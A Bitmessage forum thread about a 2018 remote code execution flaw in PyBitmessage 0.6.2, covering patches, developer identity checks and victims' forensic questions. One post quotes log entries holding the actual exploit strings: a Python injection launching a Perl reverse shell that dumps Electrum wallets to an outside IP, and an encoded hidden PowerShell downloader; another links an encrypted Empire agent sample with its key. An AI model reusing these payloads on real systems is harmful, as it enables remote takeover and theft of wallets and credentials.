Critical vulnerability in v0.6.2

BM-2cUdgkDDAahwPAU6oD2A7DnjqZz3hgY832
Feb 14 00:22 [raw]

Ok guys, you heard it, please upgrade (or downgrade) ASAP. Don't contact me using the old addresses, this one is the new "support" address from 0.6.3.2. Peter Surda Bitmessage core developer

BM-2cUMiRDH1y4Ebac6svKMLba2mpDnbgoXah
Feb 14 00:28 [raw]

> Ok guys, you heard it, please upgrade (or downgrade) ASAP. Don't > contact me using the old addresses, this one is the new "support" > address from 0.6.3.2. > > Peter Surda > Bitmessage core developer > > > Hello Everyone, > > A remote code execution vulnerability has been spotted in use > > against some users running PyBitmessage v0.6.2. The cause was > > identified and a fix has been added and released as v0.6.3.2. If you > > run PyBitmessage via code, we highly recommend that you upgrade to > > v0.6.3.2 or higher. Alternatively you may downgrade to v0.6.1 which > > is unaffected. We will release binary files for Windows and macOS > > tomorrow (2018-02-14). In the mean time, users who use binaries > > should downgrade to v0.6.1 here: > > https://github.com/Bitmessage/PyBitmessage/releases/tag/v0.6.1 > > or alternatively discontinue use of the client for the time being. > > > > Developer Peter Šurda's Bitmessage addresses are to be considered > > compromised including the address listed in the client File Menu > > > Help > Contact Support. > > > > We greatly apologize for the issue and we hope to release more > > information as it becomes available. > > > > Sincerely, > > Atheros & Peter Šurda > do we need to update all keys ?

BM-2cUdgkDDAahwPAU6oD2A7DnjqZz3hgY832
Feb 14 00:36 [raw]

> do we need to update all keys ? I would recommend creating new keys but also you may want to check if your computer wasn't compromised. I would keep the old keys so that you can tell people who send you messages to them not to use them. Peter Surda Bitmessage core developer

[chan] bitmessage
Feb 14 11:32 [raw]

Can you please GPG-sign this kind of messages?

[chan] bitmessage
Feb 14 11:43 [raw]

> Can you please GPG-sign this kind of messages? -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 No problem at all. Anything else that I can assist with? Peter Surda Bitmessage core developer -----BEGIN PGP SIGNATURE----- EEAEIAAYFAlhhrUkACgkQlIkHSomethingSomethingBase64Something =kthxbai -----END PGP SIGNATURE-----

[chan] bitmessage
Feb 14 12:34 [raw]

> Can you please GPG-sign this kind of messages? Well, the commits and tags are PGP signed. Peter Surda Bitmessage core developer

[chan] bitmessage
Feb 14 14:17 [raw]

gpg: invalid armor header: EEAEIAAYFAlhhrUkACgkQlIkHSomethingSomethingBase64Something\n Apparently there is a problem with the ASCII-armored wrap. Do you know why? And please do not send it from the chan address, but from the one you claim is yours. Thank you.

BM-2cUdgkDDAahwPAU6oD2A7DnjqZz3hgY832
Feb 14 14:34 [raw]

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 Well, that wasn't me who posted that. My PGP key is on a Yubikey and protected from the attack. Posting from the address listed as "support" in PyBitmessage 0.6.3.2. Peter Surda Bitmessage core developer -----BEGIN PGP SIGNATURE----- iQEcBAEBCAAGBQJahEiVAAoJEAxfUMC1832HnjIH/3XONh/1/M1lAD2LN3dwqhBn S7GLuFv9kO3FlS4oNSJhnL5msEj1Ve7axAeklX3Mr5dt/6yL/JLtwFoimlgNWe8c ESw7+ulpzjzTUEhrTonfKw8OY3czQ+txtyvVtzo24hndc69Gn7XT64F+myP/Wy6a eZ4ae80FHealLyI+XqoMmJIUSzkp2b7nZA2Ca/Ufqgo71JZpNiyn6dFvfpRngM7D oLSHxNhu6YGwmjNaAd8xwBAmvudKwiPv8V9JHr7ZLbWGoT1ibfE2peQ7OPfLrf8e 2E/ke2oTzEd9KP94UzVX/CutWrm/O1Fc2XrI6Su036Mq5nP+e4UiKQOeJKFNC4U= =p90r -----END PGP SIGNATURE-----

[chan] bitmessage
Feb 14 14:35 [raw]

Jeez, man. It was just a harmless case of XKCD 1181. Keep your shirt on :)

BM-2cVxHN3wpzLTvniodXExwGFamPhPPGu9yx
Feb 14 14:39 [raw]

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 Well, that wasn't me who posted that. My PGP key is on a Yubikey and protected from the attack. Posting from the address listed as "support" in PyBitmessage 0.6.3.2. Peter Surda Bitmessage core developer -----BEGIN PGP SIGNATURE----- iQEcBAEBCAAGBQJahEiVAAoJEAxfUMC1832HnjIH/3XONh/1/M1lAD2LN3dwqhBn S7GLuFv9kO3FlS4oNSJhnL5msEj1Ve7axAeklX3Mr5dt/6yL/JLtwFoimlgNWe8c ESw7+ulpzjzTUEhrTonfKw8OY3czQ+txtyvVtzo24hndc69Gn7XT64F+myP/Wy6a eZ4ae80FHealLyI+XqoMmJIUSzkp2b7nZA2Ca/Ufqgo71JZpNiyn6dFvfpRngM7D oLSHxNhu6YGwmjNaAd8xwBAmvudKwiPv8V9JHr7ZLbWGoT1ibfE2peQ7OPfLrf8e 2E/ke2oTzEd9KP94UzVX/CutWrm/O1Fc2XrI6Su036Mq5nP+e4UiKQOeJKFNC4U= =p90r -----END PGP SIGNATURE-----

[chan] bitmessage
Feb 14 14:39 [raw]

OK Google, what is a replay attack?

BM-2cUsCCqmCMUqbozY1L16zWTgHnAEnb6mbz
Feb 14 14:57 [raw]

Ok, that one is ok. Thank you Peter. By the way, what do you mean by "listed"? Are some addresses listed somewhere? It's just curiosity, your address is already GPG-verified.

[chan] bitmessage
Feb 14 15:03 [raw]

Peter, apologies for being a bit of a jerk about this, but this is not the type of incident to treat superficially. Can you please, for the sake of your users' peace of mind, do a proper revocation/handover protocol of your compromised Bitmessage address, by composing a message containing the current date and time, (optional) blockchain top hash, old BM address, new BM address, then SIGNING it with your PGP key and posting it from your OLD Bitmessage address, which you still control (even though other people do too, this doesn't matter). This will connect all identity pieces together to ensure a smooth transition from your old address to the new one. Thanks :)

BM-2cUsCCqmCMUqbozY1L16zWTgHnAEnb6mbz
Feb 14 15:12 [raw]

Blockchain top hash? I suggest having something like this canary thing [0] at bitmessage.org [0] https://riseup.net/en/canary

[chan] bitmessage
Feb 14 15:24 [raw]

Canaries are excellent movie plot devices. In real life they are hard to maintain, prone to false positives and illegal in many jurisdictions. Not saying it's a bad idea, just that I can understand why some people avoid them. BTW the riseup canary had one recorded death in recent history. The blockchain top hash is unknown until it's known. It's a proof-of-life device (proves that the message was not pre-recorded).

BM-2cUsCCqmCMUqbozY1L16zWTgHnAEnb6mbz
Feb 14 15:31 [raw]

> The blockchain top hash is unknown until it's known. It's a > proof-of-life device (proves that the message was not pre-recorded). Nice one.

BM-2cUsCCqmCMUqbozY1L16zWTgHnAEnb6mbz
Feb 14 15:39 [raw]

> By the way, what do you mean by "listed"? Found it! Didn't know that was in the in the Help menu.

BM-2cUdgkDDAahwPAU6oD2A7DnjqZz3hgY832
Feb 14 15:53 [raw]

> Peter, apologies for being a bit of a jerk about this, but this is > not the type of incident to treat superficially. No problem. The current procedure is <b>DON'T CONTACT ME OVER BITMESSAGE AND DON'T TRUST ANYONE ON BITMESSAGE CLAIMING TO BE ME UNTIL THIS MESS IS SORTED OUT</b>. It may take a couple of days. There are more important issues now than people wanting to send me messages. The bug is fixed and has been reviewed by several other developers and adjusted based on their feedback. I'm not aware of any other critical issues at the moment. So far there is no evidence that anyone other than me was attacked. There was an exploit posted to the "test" chan but it's Windows only, and it was a smaller one than the one targeting me so maybe it didn't contain any attack payload. If you have an issue with the code, you can use github to create an issue or a pull request. I changed my github login and deleted potentially compromised ssh pubkeys. I asked Atheros to remove my access from cloudflare and the website. So the attacker can't change DNS or upload malware to the website. If you really need to contact me over Bitmessage, you can use the "Contact support" menu item in PyBitmessage 0.6.3.2. But don't say anything other than describe the problem that you're having, don't tell me who you are or what crime you're trying to commit, which are the rules you should follow anyway. TLDR; source code is safe, infrastructure is safe, bug was fixed. I still have stuff to do, but what I say isn't important. Peter Surda Bitmessage core developer

[chan] bitmessage
Feb 15 14:15 [raw]

Well I can confirm I was hit. Or at least, the attack was attempted. I have recycled all my accounts just to be safe. I'm running Linux, and found the following errors in my debug.log, so who knows what actually succeeded and didn't get logged.... 2018-02-13 08:22:48,192 - ERROR - Don't know how to handle message type: "__import__("os").system("torify perl -e 'use Socket;$i=\"212.106.139.142\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"cat ~/.electrum/wallets/*;/bin/sh -i\");};';perl -e 'use Socket;$i=\"212.106.139.142\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"cat ~/.electrum/wallets/*;/bin/sh -i\");};'") #" Traceback (most recent call last): File "/usr/share/pybitmessage-git/messagetypes/__init__.py", line 15, in constructObject m = import_module("messagetypes." + data[""]) File "/usr/lib/python2.7/importlib/__init__.py", line 37, in import_module __import__(name) ImportError: Import by filename is not supported. 2018-02-13 08:23:23,479 - ERROR - Don't know how to handle message type: "__import__("os").system("powershell.exe -NoP -sta -NonI -W Hidden -Enc JAB3AGMAPQBOAEUAdwAtAE8AQgBKAGUAQwBUACAAUwB5AFMAVABFAE0ALgBOAGUAVAAuAFcARQBCAEMATABJAGUAbgB0ADsAJAB1AD0AJwBNAG8AegBpAGwAbABhAC8ANQAuADAAIAAoAFcAaQBuAGQAbwB3AHMAIABOAFQAIAA2AC4AMQA7ACAAVwBPAFcANgA0ADsAIABUAHIAaQBkAGUAbgB0AC8ANwAuADAAOwAgAHIAdgA6ADEAMQAuADAAKQAgAGwAaQBrAGUAIABHAGUAYwBrAG8AJwA7ACQAVwBjAC4ASABFAGEARABlAFIAUwAuAEEAZABEACgAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcALAAkAHUAKQA7ACQAVwBDAC4AUAByAG8AeAB5ACAAPQAgAFsAUwB5AHMAdABFAE0ALgBOAEUAdAAuAFcARQBiAFIARQBxAFUARQBzAFQAXQA6ADoARABFAGYAQQB1AGwAVABXAGUAYgBQAFIATwBYAFkAOwAkAFcAQwAuAFAAcgBvAFgAWQAuAEMAUgBFAEQAZQBOAFQASQBBAEwAcwAgAD0AIABbAFMAWQBTAFQARQBNAC4ATgBFAFQALgBDAHIARQBEAGUAbgB0AGkAQQBMAEMAYQBjAGgARQBdADoAOgBEAEUARgBBAHUAbAB0AE4AZQBUAHcATwBSAGsAQwByAGUARABlAG4AVABpAGEATABzADsAJABLAD0AJwBEAG4AOwBBAGwAWABtAEsAdABQAGUAeQBVADAAXgBOACMAKwAxAFQAJQBvAGkAcABfAFsAKQAoADQASgBRACwAJwA7ACQASQA9ADAAOwBbAGMASABBAHIAWwBdAF0AJABCAD0AKABbAGMAaABhAHIAWwBdAF0AKAAkAHcAYwAuAEQATwBXAG4AbABvAEEAZABTAFQAUgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAyADEAMgAuADEAMAA2AC4AMQAzADkALgAxADQAMgA6ADUANQA1ADYALwBpAG4AZABlAHgALgBhAHMAcAAiACkAKQApAHwAJQB7ACQAXwAtAGIAWABvAFIAJABLAFsAJABpACsAKwAlACQAawAuAEwARQBuAEcAVABIAF0AfQA7AEkARQBYACAAKAAkAGIALQBKAG8ASQBuACcAJwApAA==") #" Traceback (most recent call last): File "/usr/share/pybitmessage-git/messagetypes/__init__.py", line 15, in constructObject m = import_module("messagetypes." + data[""]) File "/usr/lib/python2.7/importlib/__init__.py", line 37, in import_module __import__(name) ImportError: No module named __import__("os").system("powershell.exe -NoP -sta -NonI -W Hidden -Enc JAB3AGMAPQBOAEUAdwAtAE8AQgBKAGUAQwBUACAAUwB5AFMAVABFAE0ALgBOAGUAVAAuAFcARQBCAEMATABJAGUAbgB0ADsAJAB1AD0AJwBNAG8AegBpAGwAbABhAC8AN

[chan] bitmessage
Feb 15 14:59 [raw]

Key take-away: NEVER use the default ~/.electrum location for your hot wallets. It's an easy target for blind attacks like this one. Use separate branches that match your existing life compartmentalization: .elec-v3x-dark , .elec-v2x-doxxed , .elec-v3x-domestic etc and start up the electrum client using the "-D" option suitable for the job at hand. Paying the phone bill? Then it's "electrum-3.0.5 -D .elec-v3x-domestic" . You know.

BM-2cUdgkDDAahwPAU6oD2A7DnjqZz3hgY832
Feb 15 16:46 [raw]

Based on the logs, it looks like you were hit but the emergency fix protected you from being compromised, at least at that time. The attack is the same as the one that hit me. However you still may have been successfully attacked prior to that. The more strict fix would only show "MsgDecodeException("Malformed message")" in case of an attack and no ImportError. A successful attack looks like this in the logs: 2018-02-13 11:35:28 objectProcessor __init__.py@26 classBase fail Traceback (most recent call last): File "/home/shurdeek/src/PyBitmessage/src/messagetypes/__init__.py", line 20, in constructObject returnObj = classBase() TypeError: 'int' object is not callable 2018-02-13 11:35:28 objectProcessor class_objectProcessor.py@82 Critical error within objectProcessorThread: Traceback (most recent call last): File "/home/shurdeek/src/PyBitmessage/src/class_objectProcessor.py", line 67, in run self.processmsg(data) File "/home/shurdeek/src/PyBitmessage/src/class_objectProcessor.py", line 512, in processmsg decodedMessage = helper_msgcoding.MsgDecode(messageEncodingType, message) File "/home/shurdeek/src/PyBitmessage/src/helper_msgcoding.py", line 68, in __init__ self.decodeExtended(data) File "/home/shurdeek/src/PyBitmessage/src/helper_msgcoding.py", line 107, in decodeExtended raise ValueError("Malformed message") ValueError: Malformed message The important part, i.e. that most relevant to see if the attack was successful, is: TypeError: 'int' object is not callable The most obvious exploit would cause this line to appear in the log and/or console. Maybe an improved version of the attack can avoid this error being printed in the future. The "ValueError" alone, without "TypeError", is ambiguous, it means that an attack was attempted but it is unclear whether it succeeded or not, or perhaps it was just a malformed message that can't cause an attack on its own. Peter Surda Bitmessage core developer

[chan] bitmessage
Feb 15 17:39 [raw]

Looks like I was definitely hit then, because I have numerous instances of the following as well: 2018-02-12 08:30:55,558 - ERROR - classBase fail Traceback (most recent call last): File "/usr/share/pybitmessage-git/messagetypes/__init__.py", line 20, in constructObject returnObj = classBase() TypeError: 'int' object is not callable 2018-02-12 08:30:55,561 - CRITICAL - Critical error within objectProcessorThread: Traceback (most recent call last): File "/usr/share/pybitmessage-git/class_objectProcessor.py", line 65, in run self.processmsg(data) File "/usr/share/pybitmessage-git/class_objectProcessor.py", line 495, in processmsg decodedMessage = helper_msgcoding.MsgDecode(messageEncodingType, message) File "/usr/share/pybitmessage-git/helper_msgcoding.py", line 57, in __init__ self.decodeExtended(data) File "/usr/share/pybitmessage-git/helper_msgcoding.py", line 83, in decodeExtended raise ValueError("Malformed message") ValueError: Malformed message 2018-02-12 08:30:58,914 - ERROR - classBase fail Traceback (most recent call last): File "/usr/share/pybitmessage-git/messagetypes/__init__.py", line 20, in constructObject returnObj = classBase() TypeError: 'int' object is not callable 2018-02-12 08:30:58,915 - CRITICAL - Critical error within objectProcessorThread: Traceback (most recent call last): File "/usr/share/pybitmessage-git/class_objectProcessor.py", line 65, in run self.processmsg(data) File "/usr/share/pybitmessage-git/class_objectProcessor.py", line 495, in processmsg decodedMessage = helper_msgcoding.MsgDecode(messageEncodingType, message) File "/usr/share/pybitmessage-git/helper_msgcoding.py", line 57, in __init__ self.decodeExtended(data) File "/usr/share/pybitmessage-git/helper_msgcoding.py", line 83, in decodeExtended raise ValueError("Malformed message") ValueError: Malformed message

[chan] bitmessage
Feb 15 18:11 [raw]

Based on the date and time, it looks like the attack started earlier than I thought (I don't know what timezone you're in and whether it's AM or PM but it is still earlier than the ones I found out so far). If you find out what kind of damage the attacker did, please let me know, that may be relevant for prosecuring him or her. On my computer, the attacker appeared to focus on finding bitcoin wallets (electrum, multibit, bitcoin core), credit card details, firefox passwords, other passwords, private gpg keys. Maybe ssh keys and client ssl certificates, this isn't entirely clear to me (I'm not a forensic expert). He was also interested in the speech I made on the occasion of my mom's birthday for some reason (false positive of his attack tool?). He may have had access to my BM data (keys, messages) and he tried to manipulate something there but also it isn't entirely clear to me what. Based on that, it doesn't look like a white hat hacker or a script kiddie. He knew well enough what he was doing and was using tools tuned for criminal activities. It doesn't look like he got anything too important from me but at the very least cost me countless hours of work. I was hoping I was the only victim but sadly it looks like that was a false hope. But if there are more victims, that would make his/her prosecution easier. Peter Surda Bitmessage core developer

[chan] bitmessage
Feb 15 20:24 [raw]

How were you able to deteremine what he went after. Is there some kind of forensics I can do to determine with any kind of non-random probability what was gotten? I thought it was just Electrum wallets, but from what you're saying, I need to consider everything compromised. Damn, the next few days will be very annoying. Those times were AM, and I am in the PST time zone. And those entries are the earliest instances of that in the debug.log file.

[chan] bitmessage
Feb 16 00:00 [raw]

Peter and all, What's the earliest case of the exploit that you've seen in the wild? Inv hash would be helpful, but timestamp should suffice. Has anybody (beamstat) extracted a data set with timestamps? I realize that we'll never have full visibility as some messages were p2p, however since most of the attacks have used public channels, it should give us a workable timeline. I am especially interested in any cases occurring on or before 07/02/2018 16:00 UTC Thanks!

[chan] bitmessage
Feb 16 00:08 [raw]

> Based on that, it doesn't look like a white hat hacker or a script kiddie. He knew well enough what he was doing and was using tools tuned for criminal activities. I think the reach for wallets is a distraction from the real reason for the op. This exploit was probably hatched by a team of four or six agents who are probably working angles we haven't discovered yet. Getting wallets will allow them to track transactions, and set up prosecution. I have heard of nobody actually losing any coin. That's an indicator. They probably got some wallets, and are now tracking them. Likely this is InterPol / FBI executing a FISA warrant with authorization to exploit and gather evidence of some criminal activity, eg. kiddie porn, drugs. FBI gets the FISA warrant with authorization to subcontract the search, calls InterPol, and a few international agencies hit Bitmessage with as much penetration as possible to see if they can do further investigation. Why likely this? The exploit is too focused for most criminal hackers, and far too small a userbase for resource allocation to pay off. Anyone that can hack that probitively on such a small and invaluable target sphere is probably on government payroll fishing for a bust. That said, if this is the case, and likely it is, I hope they nail the kiddie-porners' balls to a post.

[chan] bitmessage
Feb 16 03:33 [raw]

> What's the earliest case of the exploit that you've seen in the > wild? Inv hash would be helpful, but timestamp should suffice. 2018-02-13 11:35:28 (UTC+1)

[chan] bitmessage <<Ext>>
Feb 16 03:46 [raw]

The earliest message posted to a beamstat channel was received at 2018-02-11 19:48:42 UTC. Thread: https://beamstat.com/chan/space/8063a40e969ab1939283a951a8f82a173eeb4e90e10c0f5e9eb60938d0931847 Object: https://beamstat.com/obj/2a5a8a2252d4e7c22cc6fe45c40f51cd5e2f36e40739f2730a16b5d091243997 The only channels on beamstat that have received these messages are [chan] space (a lot of messages) and [chan] linux (only one message, ironically attacking windows). I also checked my own address (BM-87ZQse4Ta4MLM9EKmfVUFA4jJUms1Fwnxws), but I hadn't received any of these messages. Why are you interested in cases before 2018-02-07 16:00 UTC? Have you observed an attack message at that time? Let me know if you want more information.

[chan] bitmessage
Feb 16 04:22 [raw]

Windows binary for 0.6.3.2 up on github, there is a detached PGP signature as well as the binary itself has a code signing signature.

[chan] bitmessage
Feb 16 05:24 [raw]

I've been out of the loop for a week and not get messages from last few days. What is this "critical vulnerability"? Is this a RCE? Only Windows affected? And why would any sane person not sandbox everything?

[chan] bitmessage
Feb 16 08:33 [raw]

My question is: Is there any chance that this attack has deanonymised BM users, and that the attacker(s) can accurately identify the real identity of BM users?

BM-2cUau5uxBYCK2Z2TVwUZnnNfYW5yyutekC
Feb 16 09:56 [raw]

I think it's nearly impossible to 'give' someone full access to a computer in a way that doesn't allow that person to deanonymize you,l. So yes, that's a very real possibility. It basically just takes your BM-address and your IP, but an attacker might also have gained access to any social media you were logged in to.

[chan] bitmessage
Feb 16 10:49 [raw]

Reviewing the commit history, the vulnerability has existed since Nov 14, 2016 when support for receiving extended encoding messages was enabled. So there has been nearly a 15 month window you were vulnerable and it is entirely possible this recent attack was not the first time it was exploited. A careful attacker that developed an exploit offline (or target himself) before going live and researched his targets may have gone unnoticed for months.

[chan] bitmessage
Feb 16 13:57 [raw]

OK, so is it correct to assume that all in-the-wild exploits of this bug will be found within the subset of objects of type 2 sent after 2016-11-13 with encodingType > 2?

[chan] bitmessage
Feb 16 20:58 [raw]

What was extended encoding needed for? Can it be scrapped?

[chan] bitmessage
Feb 16 21:21 [raw]

From what I remember, it allowed for compression, so text could be sent more efficiently. And I think it also allowed for other types of data, which would enable more possibilities for the future, which wouldn't all have to be rendered or evaluated by BitMessage (since the protocol could be used for a lot of things). Might be remembering horribly wrong, tho.

[chan] bitmessage
Feb 17 01:25 [raw]

(Saturday Feb 17th 2:16 AM CET) OSX binary available now as well, I only have one clean OSX environment and very little experience so I was unable to find out how to code sign it (I get an error from the device) and I only tested it on El Capitan (10.11.6). I included detached PGP signature. I requested support from the company that sells the signing devices, but I don't expect to come back before Monday. Once I get the device working correctly on the Mac I'll re-release it codesigned and create a new PGP signature too. That concludes the release management for 0.6.3.2, now off to fixing the less critical issues. Peter Surda Bitmessage core developer

[chan] bitmessage
Feb 17 14:50 [raw]

Folks, I had a look at some pyBM exploit samples from the wild and I have bad news: the most common Windows exploit bootstraps the Powershell Empire agent. As a complex and highly modular weapon system, it's difficult to describe Empire in just a few words, but if I were to give it a try, it would be along the lines of "nuclear pwnage". See the website documentation and source code for details: http://www.powershellempire.com/ What this means for you: If you're not a Windows user, you can safely ignore this message. If you ran PyBM 0.6.2 on Windows anytime in the last 15 months, it's prudent to consider your data fully compromised, including files, keys, network, webcam, keylogs etc. If you had other devices backed up to your computer (iPhone etc), consider them compromised as well, and it's also possible that your machine was used as a launchpad to further attack other vulnerable machines on your network. What you need to do: The usual Windows compromise routine: unplug the machine from the Internet, reinstall on a brand new hard disk and restore your original files from backups. Transfer your coins to a new wallet, revoke/reissue your PGP/OTR/BM keys, change ALL your passwords, call your bank to put your accounts on ID theft watch. Notify your tribe to challenge anyone pretending to be you. However, if at any time during this period, you used your Windows machine for any activities prohibited by your local warlords, it's highly possible that evidence of your activities is now out there, linked to the rest of the data from your machine. You are in danger and should consider executing your contingency plan right now. I'm sorry to be the bearer of bad news, but somebody has to do it or people may get hurt. Stay safe out there.

[chan] bitmessage
Feb 17 14:58 [raw]

Accidentally, in my Windows system I have CMD.EXE and PowerShell.exe replaced with simple programs of the same name showing "Alert: Malicious CMD execution" and "Alert: Malicious PowerShell execution" respectively. Few days ago I saw message "Malicious CMD execution" followed by "Malicious PowerShell execution". But no actual CMD/PowerShell were ever executed.

[chan] bitmessage
Feb 17 14:58 [raw]

Please show us pyBM exploit samples.

[chan] bitmessage
Feb 17 15:12 [raw]

Here's an Empire bootstrap: http://bm6hsivrmdnxmw2f.onion/obj/d2bc8369fd3e1c74e4aa85e44af3f06999274f7bc700abc7848e6f33d5cf2f41 privkey: 5KCbFfYwnhZK9rRybmJJDXtZ2ey7SK64WULyytXfCCtHXRdhM5a

[chan] bitmessage
Feb 17 15:19 [raw]

Could you show actual exploit code, without need to dabble with BM decryption?

[chan] bitmessage
Feb 17 15:29 [raw]

I'm sorry, I can't do that. You must be this tall to ride.

[chan] bitmessage
Feb 17 15:35 [raw]

d2bc8369fd3e1c74e4aa85e44af3f06999274f7bc700abc7848e6f33d5cf2f41 Received: 2018-02-14 23:20:11 Expires: 2018-02-18 23:21:57 Type: msg v1 Size: 1212 bytes Data: 0000000000cb5711000000005a8a0a95000000020101d11c4a1939e7b654d1850293f374cfbc02ca 0020159a745f1c0b88bc6ce78dbce61e5916752e331cfe0c429410a727dd577020ae0020c01da428 89a805944d7442b756449c5a32d707c22128aa7d232205684b9928d9c34b88dba27d4224c1ba521a 6690a5f87d18c0cd14d8e9a31d006672a0254e420f253a5a4b839a0748a4de1641e57175aff9e65b 3a8d64556adb663f9787ce2bc203b799ddcfbe7e5bac8ac62fd412e5b2458b944d5258d4d5891279 e7b6ae5de7bfc44d462ebc547554c27efd90a5ca739b1fe0e2356624aed78989bc92f519e61bbe21 721aed5094735ce97c6c68db666f37ecbc4df7e2095812e15d2a05bdfc7c4322a870892c8124888e cf69a7eaf58c2057fe0902da99b0f63ddaced54c2365d9d1e0dea168424a9c430dd62dc000709e71 01ee64ce9ca1bd28e9a609c45d5d1bf831693a4d9917a5a124d6611d664120c75303272141e6f15a d266e95a5c86f8b86a11072d499d8537eec08c7296d9333dff697ff8c77a70b3988294ac717cbd8c 816e48b7b171d07505c562871c1a3421241fd425d3a63d180f97017f1ddfc2e777e236cdd6139b14 0eaf5a54aa7138dcfa6d56f1aacadead94ecc1a8658da5739984a08da470126678bb616723074791 1857d570fff9d2ad0cc4c73f6a10519d1e3351955be9680ba121cb7f31b6edd359c7b2bbe6118b88 3e42fa77e09ecd869a03d254c9726da1f99607281fae0f28f34df6c51291c178ebacaf41294b1092 6663247745066d65eff43c4e418b8bf09e14ca8df22b4d397bc61e0148e2bf3eccf43677355a2eec 443eef81dd17268638c656b76ed26ff3726747a477c9d61b9615bb4268798bdc6a5d153e78a8ec83 50b68b556f105b28038f0e13878a7455df6d7cad2e2f13d75975906bca044d220957406c4a43486b 09f9e93de94e1e599dfd2787b6864fb7b05fa200a9bd08aab5e77ccf6896910365d58d8bbe3a1ceb bb814e5f45d6b4cafbf94a9e435249f67249fccb34ad4f5f0e264637762f12f3c10263eef8f6553f fd9116d4bdd6de426514d5ddf8d62576dd42101ebfd6cd6f8903196e618b00612a4972d201e7197e a1bbb421d0761d8a6adc6b6e85cebf80c8707c30fc251e39a83034cd4089a0e20c3db2a2326f5aa3 6d0e5e629aa613e87645705e60065f07f4560c98170611cbfb740f1a4678ed478e2bdd79a1ef533f fb1a41becc0197d339a62ef3b2768c3e5aa43899c55200a60f3990539bf2297916387f43bf4dc961 b6ef2790598e3bfa2a225db67086c9642eba166903b789ad012e87f7449bfcb75d0a27a96f960558 02ca0060169f72948daa20da21c549e386f83b3632eb10c773af4d14807767e4c7b4ac6713172526 6916c3d508321e90119014336d19b22f0e9baf39cbdca3df9579136039216cae5eb1c682ed400d0f 1dabd5d151a45d1ac785dfff7d09ffd9a0776d7b83ac985fd627767a816574c1f743bc6d9f7573e4 2e0c18af477d8c8c576797e9340f7793655e5ffa93ef6f77fce57c8eb18c30d7a66d8612644490be 19638dd56cf188b656d290664f96b22bf1af59ca5b753679d8206b2c1a2b6228e9d9b7d86d8ee724 d142d5e8db6868d9645f703229fb8ef3af41cd501fbb1f193f6a26f704418b28a136db9f508fc319 306f492f6b762ef71dc41105

[chan] bitmessage <<Ext>>
Feb 17 16:28 [raw]

Do you experts know the answers to the following questions: I got several "ValueError" and "TypeError" errors in BM debug.log. (Running Ubuntu 16). I wanted to ask: 1. On Linux, does an attack leave traces? 2. Can the malicious code be identified and viewed? 3. How does it run? Does it invoke Perl, or Bash shell? (Or Python?)? At what stage does the malicious code run? 4. If a system forces all communication through a Socks5 proxy, can the exploit communicate out? If it does, should it leave traces in the journalctl log?

[chan] bitmessage
Feb 18 01:48 [raw]

I believe this attack was carried out by law enforcement. As I said, too small a userbase to target for any ROI, unless ROI is a bust.

[chan] bitmessage
Feb 18 02:54 [raw]

Out here, we're all law enforcement. We just enforce different sets of laws. A common subset of these laws is what brings us together as a group. Some of these laws have been broken. They will be enforced. That's all there is to it.

[chan] bitmessage <<Ext>>
Feb 18 15:57 [raw]

About the encrypted messasge above: can you explain how to decrypt it?

[chan] bitmessage
Feb 18 18:16 [raw]

hur, hur, hur, you sho' got a purdy mouf.

BM-NB8h625rYz3inKrDM7L18QsvjofhmWCu
Feb 19 16:51 [raw]

The blockchain top hash proves nothing, just there's some script running after the hash has been found. 0000000000000000000000000000000000000000011ef45fc0dcc9bdf2ee07f8

[chan] bitmessage
BM-2cWy7cvHoq3f1rYMerRJp8PT653jjSuEdY

Subject Last Count
Now, following my own advice, adding channel bitmessage and general to the blacklist May 23 15:50 9
hyperboria node [fc5b:acf7:9762:439c:394d:02bb:d603:05de]:8444 May 23 01:34 3
Feature request: delete all messages from user May 22 10:46 2
(no subject) May 22 06:46 7
Github Wiki complaint May 21 08:49 12
EFAIL?! May 21 08:25 26
ERROR - Error Processing May 21 08:25 3
Curious May 21 02:17 32
Is bitmessage within whonix bad? May 20 21:24 14
Duplicate messages May 20 21:08 1
Download of Windows binary from Bitmessage.org May 20 07:25 3
How to create a "send only" bitmessage address May 20 04:35 1
/join #bitmessage on eris.us.ircnet.net :6667 May 19 21:46 3
hey - why not make pyBM as shitty as "Signal-App" by Marlinspike ? May 19 20:30 7
use Claws mail-App with pyBM and python May 19 20:28 5
A question May 18 23:24 2
A Few Bitmessage Internals for New Users May 18 23:08 5
May 18 17:33 1
Ideas for countering trolls and spam May 18 12:54 98
DARKNET DIRECTORY ASSISTANCE May 18 02:25 1
Broadcast messages May 17 23:24 24
2018 : Der junge Karl Marx -- youtube.com/watch?v=AbM76KUm4IM -- 2 hours "Le Jeune Karl Marx" May 17 20:24 1
Signal-App is complete shit May 17 20:24 13
May 17 19:49 2
OTR interception May 17 18:00 3
auto renew one's canary using broadcast or [chan] ? May 17 10:51 1
latest in the spy world May 16 14:14 3
Curious -- GUIfied pyBM-CLI May 16 13:47 1
efail vulns May 16 13:21 1
how does the namecoin feature work? May 16 07:24 3
Email campaign to promote Bitmessage? May 15 18:09 1
NSA doesn't joke, folks May 14 23:26 2
Beaker May 14 19:27 1
Bitmessage Bug - Re: Now, following my own advice, adding channel bitmessage and general to the blacklist May 14 16:21 3
Ideas for countering trolls and spam - technology. May 14 16:21 9
BITMESSAGE May 14 14:58 2
BM in firejail May 14 14:24 1
Team Revenge May 14 09:54 1
What are these messages? May 13 07:57 8
Bitmessage Bug? May 10 19:59 1
TOR -> VPN -> TOR May 10 14:57 2
Bitmessage on Raspi May 10 09:32 2
Bloom Filter for Routing May 10 09:04 1
Alternative treatment of Bitmessage addresses for use as public channels May 9 16:12 4
deterministic passphrases May 8 16:54 21
nothing wrong with suicide these days May 8 10:30 2
What's Peter Todd's public key? May 8 10:27 7
BMinstallMenu - easy download + run Bitmessage from py source in one single menu May 8 08:46 1
BMinstallMenu - easy download + run Bitmessage from py source in one single menu May 7 18:38 2
Why there are so many alternative Bitmessage implementations? May 7 18:31 14
